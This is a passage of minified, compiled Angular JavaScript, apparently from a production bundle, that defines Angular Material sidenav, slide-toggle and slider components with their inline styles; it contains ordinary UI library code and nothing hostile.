.mat-drawer-content{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:transform,margin-left,margin-right}.mat-drawer{position:relative;z-index:4;display:block;position:absolute;top:0;bottom:0;z-index:3;outline:0;box-sizing:border-box;overflow-y:auto;transform:translate3d(-100%, 0, 0)}.cdk-high-contrast-active .mat-drawer,.cdk-high-contrast-active [dir=rtl] .mat-drawer.mat-drawer-end{border-right:solid 1px currentColor}.cdk-high-contrast-active [dir=rtl] .mat-drawer,.cdk-high-contrast-active .mat-drawer.mat-drawer-end{border-left:solid 1px currentColor;border-right:none}.mat-drawer.mat-drawer-side{z-index:2}.mat-drawer.mat-drawer-end{right:0;transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer{transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer.mat-drawer-end{left:0;right:auto;transform:translate3d(-100%, 0, 0)}.mat-drawer[style*="visibility: hidden"]{display:none}.mat-drawer-inner-container{width:100%;height:100%;overflow:auto;-webkit-overflow-scrolling:touch}.mat-sidenav-fixed{position:fixed}\'],encapsulation:2,changeDetection:0}),P})(),We=(()=>{class P extends De{constructor(R,X,_e,ct,Je){super(R,X,_e,ct,Je)}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>Be)),s.Y36(s.SBq),s.Y36(n.mF),s.Y36(s.R0b))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav-content"]],hostAttrs:[1,"mat-drawer-content","mat-sidenav-content"],hostVars:4,hostBindings:function(R,X){2&R&&s.Udp("margin-left",X._container._contentMargins.left,"px")("margin-right",X._container._contentMargins.right,"px")},features:[s._Bn([{provide:n.PQ,useExisting:P}]),s.qOj],ngContentSelectors:se,decls:1,vars:0,template:function(R,X){1&R&&(s.F$t(),s.Hsn(0))},encapsulation:2,changeDetection:0}),P})(),xt=(()=>{class P extends re{constructor(){super(...arguments),this._fixedInViewport=!1,this._fixedTopGap=0,this._fixedBottomGap=0}get fixedInViewport(){return this._fixedInViewport}set fixedInViewport(R){this._fixedInViewport=(0,E.Ig)(R)}get fixedTopGap(){return this._fixedTopGap}set fixedTopGap(R){this._fixedTopGap=(0,E.su)(R)}get fixedBottomGap(){return this._fixedBottomGap}set fixedBottomGap(R){this._fixedBottomGap=(0,E.su)(R)}}return P.\\u0275fac=function(){let w;return function(X){return(w||(w=s.n5z(P)))(X||P)}}(),P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav"]],hostAttrs:["tabIndex","-1",1,"mat-drawer","mat-sidenav"],hostVars:17,hostBindings:function(R,X){2&R&&(s.uIk("align",null),s.Udp("top",X.fixedInViewport?X.fixedTopGap:null,"px")("bottom",X.fixedInViewport?X.fixedBottomGap:null,"px"),s.ekj("mat-drawer-end","end"===X.position)("mat-drawer-over","over"===X.mode)("mat-drawer-push","push"===X.mode)("mat-drawer-side","side"===X.mode)("mat-drawer-opened",X.opened)("mat-sidenav-fixed",X.fixedInViewport))},inputs:{fixedInViewport:"fixedInViewport",fixedTopGap:"fixedTopGap",fixedBottomGap:"fixedBottomGap"},exportAs:["matSidenav"],features:[s.qOj],ngContentSelectors:se,decls:3,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"],["content",""]],template:function(R,X){1&R&&(s.F$t(),s.TgZ(0,"div",0,1),s.Hsn(2),s.qZA())},dependencies:[n.PQ],encapsulation:2,data:{animation:[qe.transformDrawer]},changeDetection:0}),P})(),Be=(()=>{class P extends ve{}return P.\\u0275fac=function(){let w;return function(X){return(w||(w=s.n5z(P)))(X||P)}}(),P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav-container"]],contentQueries:function(R,X,_e){if(1&R&&(s.Suo(_e,We,5),s.Suo(_e,xt,5)),2&R){let ct;s.iGM(ct=s.CRH())&&(X._content=ct.first),s.iGM(ct=s.CRH())&&(X._allDrawers=ct)}},hostAttrs:[1,"mat-drawer-container","mat-sidenav-container"],hostVars:2,hostBindings:function(R,X){2&R&&s.ekj("mat-drawer-container-explicit-backdrop",X._backdropOverride)},exportAs:["matSidenavContainer"],features:[s._Bn([{provide:bt,useExisting:P}]),s.qOj],ngContentSelectors:Qe,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],[4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"]],template:function(R,X){1&R&&(s.F$t(Oe),s.YNc(0,Ze,1,2,"div",0),s.Hsn(1),s.Hsn(2,1),s.YNc(3,le,2,0,"mat-sidenav-content",1)),2&R&&(s.Q6J("ngIf",X.hasBackdrop),s.xp6(3),s.Q6J("ngIf",!X._content))},dependencies:[a.O5,We],styles:[\'.mat-drawer-container{position:relative;z-index:1;box-sizing:border-box;-webkit-overflow-scrolling:touch;display:block;overflow:hidden}.mat-drawer-container[fullscreen]{top:0;left:0;right:0;bottom:0;position:absolute}.mat-drawer-container[fullscreen].mat-drawer-container-has-open{overflow:hidden}.mat-drawer-container.mat-drawer-container-explicit-backdrop .mat-drawer-side{z-index:3}.mat-drawer-container.ng-animate-disabled .mat-drawer-backdrop,.mat-drawer-container.ng-animate-disabled .mat-drawer-content,.ng-animate-disabled .mat-drawer-container .mat-drawer-backdrop,.ng-animate-disabled .mat-drawer-container .mat-drawer-content{transition:none}.mat-drawer-backdrop{top:0;left:0;right:0;bottom:0;position:absolute;display:block;z-index:3;visibility:hidden}.mat-drawer-backdrop.mat-drawer-shown{visibility:visible}.mat-drawer-transition .mat-drawer-backdrop{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:background-color,visibility}.cdk-high-contrast-active .mat-drawer-backdrop{opacity:.5}.mat-drawer-content{position:relative;z-index:1;display:block;height:100%;overflow:auto}.mat-drawer-transition .mat-drawer-content{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:transform,margin-left,margin-right}.mat-drawer{position:relative;z-index:4;display:block;position:absolute;top:0;bottom:0;z-index:3;outline:0;box-sizing:border-box;overflow-y:auto;transform:translate3d(-100%, 0, 0)}.cdk-high-contrast-active .mat-drawer,.cdk-high-contrast-active [dir=rtl] .mat-drawer.mat-drawer-end{border-right:solid 1px currentColor}.cdk-high-contrast-active [dir=rtl] .mat-drawer,.cdk-high-contrast-active .mat-drawer.mat-drawer-end{border-left:solid 1px currentColor;border-right:none}.mat-drawer.mat-drawer-side{z-index:2}.mat-drawer.mat-drawer-end{right:0;transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer{transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer.mat-drawer-end{left:0;right:auto;transform:translate3d(-100%, 0, 0)}.mat-drawer[style*="visibility: hidden"]{display:none}.mat-drawer-inner-container{width:100%;height:100%;overflow:auto;-webkit-overflow-scrolling:touch}.mat-sidenav-fixed{position:fixed}\'],encapsulation:2,changeDetection:0}),P})(),pe=(()=>{class P{}return P.\\u0275fac=function(R){return new(R||P)},P.\\u0275mod=s.oAB({type:P}),P.\\u0275inj=s.cJS({imports:[a.ez,u.BQ,n.ZD,n.ZD,u.BQ]}),P})()},455:(At,ae,d)=>{"use strict";d.d(ae,{Rr:()=>G,rP:()=>k});var n=d(9643),a=d(4650),s=d(3238),u=d(2687),c=d(1281),f=d(4006);const E=["input"],_=function(K){return{enterDuration:K}},S=["*"],g=new a.OlP("mat-slide-toggle-default-options",{providedIn:"root",factory:()=>({disableToggleValue:!1})});let C=0;const z={provide:f.JU,useExisting:(0,a.Gpc)(()=>G),multi:!0};class H{constructor(se,ee){this.source=se,this.checked=ee}}const j=(0,s.sb)((0,s.pj)((0,s.Kr)((0,s.Id)(class{constructor(K){this._elementRef=K}}))));let U=(()=>{class K extends j{constructor(ee,q,we,ce,je,Ze,le){super(ee),this._focusMonitor=q,this._changeDetectorRef=we,this.defaults=je,this._onChange=Oe=>{},this._onTouched=()=>{},this._required=!1,this._checked=!1,this.name=null,this.labelPosition="after",this.ariaLabel=null,this.ariaLabelledby=null,this.change=new a.vpe,this.toggleChange=new a.vpe,this.tabIndex=parseInt(ce)||0,this.color=this.defaultColor=je.color||"accent",this._noopAnimations="NoopAnimations"===Ze,this.id=this._uniqueId=`${le}${++C}`}get required(){return this._required}set required(ee){this._required=(0,c.Ig)(ee)}get checked(){return this._checked}set checked(ee){this._checked=(0,c.Ig)(ee),this._changeDetectorRef.markForCheck()}get inputId(){return`${this.id||this._uniqueId}-input`}ngAfterContentInit(){this._focusMonitor.monitor(this._elementRef,!0).subscribe(ee=>{"keyboard"===ee||"program"===ee?this._focused=!0:ee||Promise.resolve().then(()=>{this._focused=!1,this._onTouched(),this._changeDetectorRef.markForCheck()})})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}writeValue(ee){this.checked=!!ee}registerOnChange(ee){this._onChange=ee}registerOnTouched(ee){this._onTouched=ee}setDisabledState(ee){this.disabled=ee,this._changeDetectorRef.markForCheck()}toggle(){this.checked=!this.checked,this._onChange(this.checked)}_emitChangeEvent(){this._onChange(this.checked),this.change.emit(this._createChangeEvent(this.checked))}}return K.\\u0275fac=function(ee){a.$Z()},K.\\u0275dir=a.lG2({type:K,inputs:{name:"name",id:"id",labelPosition:"labelPosition",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],required:"required",checked:"checked"},outputs:{change:"change",toggleChange:"toggleChange"},features:[a.qOj]}),K})(),G=(()=>{class K extends U{constructor(ee,q,we,ce,je,Ze){super(ee,q,we,ce,je,Ze,"mat-slide-toggle-")}_createChangeEvent(ee){return new H(this,ee)}_onChangeEvent(ee){ee.stopPropagation(),this.toggleChange.emit(),this.defaults.disableToggleValue?this._inputElement.nativeElement.checked=this.checked:(this.checked=this._inputElement.nativeElement.checked,this._emitChangeEvent())}_onInputClick(ee){ee.stopPropagation()}focus(ee,q){q?this._focusMonitor.focusVia(this._inputElement,q,ee):this._inputElement.nativeElement.focus(ee)}_onLabelTextChange(){this._changeDetectorRef.detectChanges()}}return K.\\u0275fac=function(ee){return new(ee||K)(a.Y36(a.SBq),a.Y36(u.tE),a.Y36(a.sBO),a.$8M("tabindex"),a.Y36(g),a.Y36(a.QbO,8))},K.\\u0275cmp=a.Xpm({type:K,selectors:[["mat-slide-toggle"]],viewQuery:function(ee,q){if(1&ee&&a.Gf(E,5),2&ee){let we;a.iGM(we=a.CRH())&&(q._inputElement=we.first)}},hostAttrs:[1,"mat-slide-toggle"],hostVars:13,hostBindings:function(ee,q){2&ee&&(a.Ikx("id",q.id),a.uIk("tabindex",null)("aria-label",null)("aria-labelledby",null)("name",null),a.ekj("mat-checked",q.checked)("mat-disabled",q.disabled)("mat-slide-toggle-label-before","before"==q.labelPosition)("_mat-animation-noopable",q._noopAnimations))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matSlideToggle"],features:[a._Bn([z]),a.qOj],ngContentSelectors:S,decls:14,vars:20,consts:[[1,"mat-slide-toggle-label"],["label",""],[1,"mat-slide-toggle-bar"],["type","checkbox","role","switch",1,"mat-slide-toggle-input","cdk-visually-hidden",3,"id","required","tabIndex","checked","disabled","change","click"],["input",""],[1,"mat-slide-toggle-thumb-container"],[1,"mat-slide-toggle-thumb"],["mat-ripple","",1,"mat-slide-toggle-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleCentered","matRippleRadius","matRippleAnimation"],[1,"mat-ripple-element","mat-slide-toggle-persistent-ripple"],[1,"mat-slide-toggle-content",3,"cdkObserveContent"],["labelContent",""],[2,"display","none"]],template:function(ee,q){if(1&ee&&(a.F$t(),a.TgZ(0,"label",0,1)(2,"span",2)(3,"input",3,4),a.NdJ("change",function(ce){return q._onChangeEvent(ce)})("click",function(ce){return q._onInputClick(ce)}),a.qZA(),a.TgZ(5,"span",5),a._UZ(6,"span",6),a.TgZ(7,"span",7),a._UZ(8,"span",8),a.qZA()()(),a.TgZ(9,"span",9,10),a.NdJ("cdkObserveContent",function(){return q._onLabelTextChange()}),a.TgZ(11,"span",11),a._uU(12,"\\xa0"),a.qZA(),a.Hsn(13),a.qZA()()),2&ee){const we=a.MAs(1),ce=a.MAs(10);a.uIk("for",q.inputId),a.xp6(2),a.ekj("mat-slide-toggle-bar-no-side-margin",!ce.textContent||!ce.textContent.trim()),a.xp6(1),a.Q6J("id",q.inputId)("required",q.required)("tabIndex",q.tabIndex)("checked",q.checked)("disabled",q.disabled),a.uIk("name",q.name)("aria-checked",q.checked)("aria-label",q.ariaLabel)("aria-labelledby",q.ariaLabelledby)("aria-describedby",q.ariaDescribedby),a.xp6(4),a.Q6J("matRippleTrigger",we)("matRippleDisabled",q.disableRipple||q.disabled)("matRippleCentered",!0)("matRippleRadius",20)("matRippleAnimation",a.VKq(18,_,q._noopAnimations?0:150))}},dependencies:[s.wG,n.wD],styles:[\'.mat-slide-toggle{display:inline-block;height:24px;max-width:100%;line-height:24px;white-space:nowrap;outline:none;-webkit-tap-highlight-color:rgba(0,0,0,0)}.mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(16px, 0, 0)}[dir=rtl] .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(-16px, 0, 0)}.mat-slide-toggle.mat-disabled{opacity:.38}.mat-slide-toggle.mat-disabled .mat-slide-toggle-label,.mat-slide-toggle.mat-disabled .mat-slide-toggle-thumb-container{cursor:default}.mat-slide-toggle-label{-webkit-user-select:none;user-select:none;display:flex;flex:1;flex-direction:row;align-items:center;height:inherit;cursor:pointer}.mat-slide-toggle-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.mat-slide-toggle-label-before .mat-slide-toggle-label{order:1}.mat-slide-toggle-label-before .mat-slide-toggle-bar{order:2}[dir=rtl] .mat-slide-toggle-label-before .mat-slide-toggle-bar,.mat-slide-toggle-bar{margin-right:8px;margin-left:0}[dir=rtl] .mat-slide-toggle-bar,.mat-slide-toggle-label-before .mat-slide-toggle-bar{margin-left:8px;margin-right:0}.mat-slide-toggle-bar-no-side-margin{margin-left:0;margin-right:0}.mat-slide-toggle-thumb-container{position:absolute;z-index:1;width:20px;height:20px;top:-3px;left:0;transform:translate3d(0, 0, 0);transition:all 80ms linear;transition-property:transform}._mat-animation-noopable .mat-slide-toggle-thumb-container{transition:none}[dir=rtl] .mat-slide-toggle-thumb-container{left:auto;right:0}.mat-slide-toggle-thumb{height:20px;width:20px;border-radius:50%;display:block}.mat-slide-toggle-bar{position:relative;width:36px;height:14px;flex-shrink:0;border-radius:8px}.mat-slide-toggle-input{bottom:0;left:10px}[dir=rtl] .mat-slide-toggle-input{left:auto;right:10px}.mat-slide-toggle-bar,.mat-slide-toggle-thumb{transition:all 80ms linear;transition-property:background-color;transition-delay:50ms}._mat-animation-noopable .mat-slide-toggle-bar,._mat-animation-noopable .mat-slide-toggle-thumb{transition:none}.mat-slide-toggle .mat-slide-toggle-ripple{position:absolute;top:calc(50% - 20px);left:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-slide-toggle .mat-slide-toggle-ripple .mat-ripple-element:not(.mat-slide-toggle-persistent-ripple){opacity:.12}.mat-slide-toggle-persistent-ripple{width:100%;height:100%;transform:none}.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:.04}.mat-slide-toggle:not(.mat-disabled).cdk-keyboard-focused .mat-slide-toggle-persistent-ripple{opacity:.12}.mat-slide-toggle-persistent-ripple,.mat-slide-toggle.mat-disabled .mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:0}@media(hover: none){.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{display:none}}.mat-slide-toggle-input:focus~.mat-slide-toggle-thumb-container .mat-focus-indicator::before{content:""}.cdk-high-contrast-active .mat-slide-toggle-thumb,.cdk-high-contrast-active .mat-slide-toggle-bar{border:1px solid}\'],encapsulation:2,changeDetection:0}),K})(),Ce=(()=>{class K{}return K.\\u0275fac=function(ee){return new(ee||K)},K.\\u0275mod=a.oAB({type:K}),K.\\u0275inj=a.cJS({}),K})(),k=(()=>{class K{}return K.\\u0275fac=function(ee){return new(ee||K)},K.\\u0275mod=a.oAB({type:K}),K.\\u0275inj=a.cJS({imports:[Ce,s.si,s.BQ,n.Q8,Ce,s.BQ]}),K})()},7314:(At,ae,d)=>{"use strict";d.d(ae,{KP:()=>ce,pH:()=>k});var n=d(6895),a=d(4650),s=d(3238),u=d(2687),c=d(445),f=d(1281),E=d(9521),_=d(4006),S=d(3353),g=d(2654);const C=["sliderWrapper"],z=(0,S.i$)({passive:!1}),Q={provide:_.JU,useExisting:(0,a.Gpc)(()=>k),multi:!0};class oe{}const Ce=(0,s.sb)((0,s.pj)((0,s.Id)(class{constructor(je){this._elementRef=je}}),"accent"));let k=(()=>{class je extends Ce{constructor(le,Oe,Qe,Ye,qe,Ke,dt,bt){super(le),this._focusMonitor=Oe,this._changeDetectorRef=Qe,this._dir=Ye,this._ngZone=Ke,this._animationMode=bt,this._invert=!1,this._max=100,this._min=0,this._step=1,this._thumbLabel=!1,this._tickInterval=0,this._value=null,this._vertical=!1,this.change=new a.vpe,this.input=new a.vpe,this.valueChange=new a.vpe,this.onTouched=()=>{},this._percent=0,this._isSliding=null,this._isActive=!1,this._tickIntervalPercent=0,this._sliderDimensions=null,this._controlValueAccessorChangeFn=()=>{},this._dirChangeSubscription=g.w.EMPTY,this._pointerDown=ze=>{this.disabled||this._isSliding||!se(ze)&&0!==ze.button||this._ngZone.run(()=>{this._touchId=se(ze)?function we(je,Ze){for(let le=0;le<je.touches.length;le++){const Oe=je.touches[le].target;if(Ze===Oe||Ze.contains(Oe))return je.touches[le].identifier}}(ze,this._elementRef.nativeElement):void 0;const De=ee(ze,this._touchId);if(De){const re=this.value;this._isSliding="pointer",this._lastPointerEvent=ze,this._focusHostElement(),this._onMouseenter(),this._bindGlobalEvents(ze),this._focusHostElement(),this._updateValueFromPosition(De),this._valueOnSlideStart=re,ze.cancelable&&ze.preventDefault(),re!=this.value&&this._emitInputEvent()}})},this._pointerMove=ze=>{if("pointer"===this._isSliding){const De=ee(ze,this._touchId);if(De){ze.cancelable&&ze.preventDefault();const re=this.value;this._lastPointerEvent=ze,this._updateValueFromPosition(De),re!=this.value&&this._emitInputEvent()}}},this._pointerUp=ze=>{"pointer"===this._isSliding&&(!se(ze)||"number"!=typeof this._touchId||q(ze.changedTouches,this._touchId))&&(ze.cancelable&&ze.preventDefault(),this._removeGlobalEvents(),this._isSliding=null,this._touchId=void 0,this._valueOnSlideStart!=this.value&&!this.disabled&&this._emitChangeEvent(),this._valueOnSlideStart=this._lastPointerEvent=null)},this._windowBlur=()=>{this._lastPointerEvent&&this._pointerUp(this._lastPointerEvent)},this._document=dt,this.tabIndex=parseInt(qe)||0,Ke.runOutsideAngular(()=>{const ze=le.nativeElement;ze.addEventListener("mousedown",this._pointerDown,z),ze.addEventListener("touchstart",this._pointerDown,z)})}get invert(){return this._invert}set invert(le){this._invert=(0,f.Ig)(le)}get max(){return this._max}set max(le){this._max=(0,f.su)(le,this._max),this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}get min(){return this._min}set min(le){this._min=(0,f.su)(le,this._min),this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}get step(){return this._step}set step(le){this._step=(0,f.su)(le,this._step),this._step%1!=0&&(this._roundToDecimal=this._step.toString().split(".").pop().length),this._changeDetectorRef.markForCheck()}get thumbLabel(){return this._thumbLabel}set thumbLabel(le){this._thumbLabel=(0,f.Ig)(le)}get tickInterval(){return this._tickInterval}set tickInterval(le){this._tickInterval="auto"===le?"auto":"number"==typeof le||"string"==typeof le?(0,f.su)(le,this._tickInterval):0}get value(){return null===this._value&&(this.value=this._min),this._value}set value(le){if(le!==this._value){let Oe=(0,f.su)(le,0);this._roundToDecimal&&Oe!==this.min&&Oe!==this.max&&(Oe=parseFloat(Oe.toFixed(this._roundToDecimal))),this._value=Oe,this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}}get vertical(){return this._vertical}set vertical(le){this._vertical=(0,f.Ig)(le)}get displayValue(){return this.displayWith?this.displayWith(this.value):this._roundToDecimal&&this.value&&this.value%1!=0?this.value.toFixed(this._roundToDecimal):this.value||0}focus(le){this._focusHostElement(le)}blur(){this._blurHostElement()}get percent(){return this._clamp(this._percent)}_shouldInvertAxis(){return this.vertical?!this.invert:this.invert}_isMinValue(){return 0===this.percent}_getThumbGap(){return this.disabled?7:this._isMinValue()&&!this.thumbLabel?this._isActive?10:7:0}_getTrackBackgroundStyles(){const Oe=this.vertical?`1, ${1-this.percent}, 1`:1-this.percent+", 1, 1";return{transform:`translate${this.vertical?"Y":"X"}(${this._shouldInvertMouseCoords()?"-":""}${this._getThumbGap()}px) scale3d(${Oe})`}}_getTrackFillStyles(){const le=this.percent,Qe=this.vertical?`1, ${le}, 1`:`${le}, 1, 1`;return{transform:`translate${this.vertical?"Y":"X"}(${this._shouldInvertMouseCoords()?"":"-"}${this._getThumbGap()}px) scale3d(${Qe})`,display:0===le?"none":""}}_getTicksContainerStyles(){return{transform:`translate${this.vertical?"Y":"X"}(${this.vertical||"rtl"!=this._getDirection()?"-":""}${this._tickIntervalPercent/2*100}%)`}}_getTicksStyles(){let le=100*this._tickIntervalPercent,Ke={backgroundSize:this.vertical?`2px ${le}%`:`${le}% 2px`,transform:`translateZ(0) translate${this.vertical?"Y":"X"}(${this.vertical||"rtl"!=this._getDirection()?"":"-"}${le/2}%)${this.vertical||"rtl"!=this._getDirection()?"":" rotate(180deg)"}`};if(this._isMinValue()&&this._getThumbGap()){const dt=this._shouldInvertAxis();let bt;bt=this.vertical?dt?"Bottom":"Top":dt?"Right":"Left",Ke[`padding${bt}`]=`${this._getThumbGap()}px`}return Ke}_getThumbContainerStyles(){const le=this._shouldInvertAxis();return{transform:`translate${this.vertical?"Y":"X"}(-${100*(("rtl"!=this._getDirection()||this.vertical?le:!le)?this.percent:1-this.percent)}%)`}}_shouldInvertMouseCoords(){const le=this._shouldInvertAxis();return"rtl"!=this._getDirection()||this.vertical?le:!le}_getDirection(){return this._dir&&"rtl"==this._dir.value?"rtl":"ltr"}ngAfterViewInit(){this._focusMonitor.monitor(this._elementRef,!0).subscribe(le=>{this._isActive=!!le&&"keyboard"!==le,this._changeDetectorRef.detectChanges()}),this._dir&&(this._dirChangeSubscription=this._dir.change.subscribe(()=>{this._changeDetectorRef.markForCheck()}))}ngOnDestroy(){const le=this._elementRef.nativeElement;le.removeEventListener("mousedown",this._pointerDown,z),le.removeEventListener("touchstart",this._pointerDown,z),this._lastPointerEvent=null,this._removeGlobalEvents(),this._focusMonitor.stopMonitoring(this._elementRef),this._dirChangeSubscription.unsubscribe()}_onMouseenter(){this.disabled||(this._sliderDimensions=this._getSliderDimensions(),this._updateTickIntervalPercent())}_onFocus(){this._sliderDimensions=this._getSliderDimensions(),this._updateTickIntervalPercent()}_onBlur(){this.onTouched()}_onKeydown(le){if(this.disabled||(0,E.Vb)(le)||this._isSliding&&"keyboard"!==this._isSliding)return;const Oe=this.value;switch(le.keyCode){case E.Ku:this._increment(10);break;case E.VM:this._increment(-10);break;case E.uR:this.value=this.max;break;case E.Sd:this.value=this.min;break;case E.oh:this._increment("rtl"==this._getDirection()?1:-1);break;case E.LH:this._increment(1);break;case E.SV:this._increment("rtl"==this._getDirection()?-1:1);break;case E.JH:this._increment(-1);break;default:return}Oe!=this.value&&(this._emitInputEvent(),this._emitChangeEvent()),this._isSliding="keyboard",le.preventDefault()}_onKeyup(){"keyboard"===this._isSliding&&(this._isSliding=null)}_getWindow(){return this._document.defaultView||window}_bindGlobalEvents(le){const Oe=this._document,Qe=se(le),qe=Qe?"touchend":"mouseup";Oe.addEventListener(Qe?"touchmove":"mousemove",this._pointerMove,z),Oe.addEventListener(qe,this._pointerUp,z),Qe&&Oe.addEventListener("touchcancel",this._pointerUp,z);const Ke=this._getWindow();typeof Ke<"u"&&Ke&&Ke.addEventListener("blur",this._windowBlur)}_removeGlobalEvents(){const le=this._document;le.removeEventListener("mousemove",this._pointerMove,z),le.removeEventListener("mouseup",this._pointerUp,z),le.removeEventListener("touchmove",this._pointerMove,z),le.removeEventListener("touchend",this._pointerUp,z),le.removeEventListener("touchcancel",this._pointerUp,z);const Oe=this._getWindow();typeof Oe<"u"&&Oe&&Oe.removeEventListener("blur",this._windowBlur)}_increment(le){const Oe=this._clamp(this.value||0,this.min,this.max);this.value=this._clamp(Oe+this.step*le,this.min,this.max)}_updateValueFromPosition(le){if(!this._sliderDimensions)return;let qe=this._clamp(((this.vertical?le.y:le.x)-(this.vertical?this._sliderDimensions.top:this._sliderDimensions.left))/(this.vertical?this._sliderDimensions.height:this._sliderDimensions.width));if(this._shouldInvertMouseCoords()&&(qe=1-qe),0===qe)this.value=this.min;else if(1===qe)this.value=this.max;else{const Ke=this._calculateValue(qe),dt=Math.round((Ke-this.min)/this.step)*this.step+this.min;this.value=this._clamp(dt,this.min,this.max)}}_emitChangeEvent(){this._controlValueAccessorChangeFn(this.value),this.valueChange.emit(this.value),this.change.emit(this._createChangeEvent())}_emitInputEvent(){this.input.emit(this._createChangeEvent())}_updateTickIntervalPercent(){if(!this.tickInterval||!this._sliderDimensions)return;let le;if("auto"==this.tickInterval){let Oe=this.vertical?this._sliderDimensions.height:this._sliderDimensions.width;le=Math.ceil(30/(Oe*this.step/(this.max-this.min)))*this.step/Oe}else le=this.tickInterval*this.step/(this.max-this.min);this._tickIntervalPercent=K(le)?le:0}_createChangeEvent(le=this.value){let Oe=new oe;return Oe.source=this,Oe.value=le,Oe}_calculatePercentage(le){const Oe=((le||0)-this.min)/(this.max-this.min);return K(Oe)?Oe:0}_calculateValue(le){return this.min+le*(this.max-this.min)}_clamp(le,Oe=0,Qe=1){return Math.max(Oe,Math.min(le,Qe))}_getSliderDimensions(){return this._sliderWrapper?this._sliderWrapper.nativeElement.getBoundingClientRect():null}_focusHostElement(le){this._elementRef.nativeElement.focus(le)}_blurHostElement(){this._elementRef.nativeElement.blur()}writeValue(le){this.value=le}registerOnChange(le){this._controlValueAccessorChangeFn=le}registerOnTouched(le){this.onTouched=le}setDisabledState(le){this.disabled=le}}return je.\\u0275fac=function(le){return new(le||je)(a.Y36(a.SBq),a.Y36(u.tE),a.Y36(a.sBO),a.Y36(c.Is,8),a.$8M("tabindex"),a.Y36(a.R0b),a.Y36(n.K0),a.Y36(a.QbO,8))},je.\\u0275cmp=a.Xpm({type:je,selectors:[["mat-slider"]],viewQuery:function(le,Oe){if(1&le&&a.Gf(C,5),2&le){let Qe;a.iGM(Qe=a.CRH())&&(Oe._sliderWrapper=Qe.first)}},hostAttrs:["role","slider",1,"mat-slider","mat-focus-indicator"],hostVars:29,hostBindings:function(le,Oe){1&le&&a.NdJ("focus",function(){return Oe._onFocus()})("blur",function(){return Oe._onBlur()})("keydown",function(Ye){return Oe._onKeydown(Ye)})("keyup",function(){return Oe._onKeyup()})("mouseenter",function(){return Oe._onMouseenter()})("selectstart",function(Ye){return Ye.preventDefault()}),2&le&&(a.Ikx("tabIndex",Oe.tabIndex),a.uIk("aria-disabled",Oe.disabled)("aria-valuemax",Oe.max)("aria-valuemin",Oe.min)("aria-valuenow",Oe.value)("aria-valuetext",null==Oe.valueText?Oe.displayValue:Oe.valueText)("aria-orientation",Oe.vertical?"vertical":"horizontal"),a.ekj("mat-slider-disabled",Oe.disabled)("mat-slider-has-ticks",Oe.tickInterval)("mat-slider-horizontal",!Oe.vertical)("mat-slider-axis-inverted",Oe._shouldInvertAxis())("mat-slider-invert-mouse-coords",Oe._shouldInvertMouseCoords())("mat-slider-sliding",Oe._isSliding)("mat-slider-thumb-label-showing",Oe.thumbLabel)("mat-slider-vertical",Oe.vertical)("mat-slider-min-value",Oe._isMinValue())("mat-slider-hide-last-tick",Oe.disabled||Oe._isMinValue()&&Oe._getThumbGap()&&Oe._shouldInvertAxis())("_mat-animation-noopable","NoopAnimations"===Oe._animationMode))},inputs:{disabled:"disabled",color:"color",tabIndex:"tabIndex",invert:"invert",max:"max",min:"min",step:"step",thumbLabel:"thumbLabel",tickInterval:"tickInterval",value:"value",displayWith:"displayWith",valueText:"valueText",vertical:"vertical"},outputs:{change:"change",input:"input",valueChange:"valueChange"},exportAs:["matSlider"],features:[a._Bn([Q]),a.qOj],decls:13,vars:6,consts:[[1,"mat-slider-wrapper"],["sliderWrapper",""],[1,"mat-slider-track-wrapper"],[1,"mat-slider-track-background",3,"ngStyle"],[1,"mat-slider-track-fill",3,"ngStyle"],[1,"mat-slider-ticks-container",3,"ngStyle"],[1,"mat-slider-ticks",3,"ngStyle"],[1,"mat-slider-thumb-container",3,"ngStyle"],[1,"mat-slider-focus-ring"],[1,"mat-slider-thumb"],[1,"mat-slider-thumb-label"],[1,"mat-slider-thumb-label-text"]],template:function(le,Oe){1&le&&(a.TgZ(0,"div",0,1)(2,"div",2),a._UZ(3,"div",3)(4,"div",4),a.qZA(),a.TgZ(5,"div",5),a._UZ(6,"div",6),a.qZA(),a.TgZ(7,"div",7),a._UZ(8,"div",8)(9,"div",9),a.TgZ(10,"div",10)(11,"span",11),a._uU(12),a.qZA()()()()),2&le&&(a.xp6(3),a.Q6J("ngStyle",Oe._getTrackBackgroundStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTrackFillStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTicksContainerStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTicksStyles()),a.xp6(1),a.Q6J("ngStyle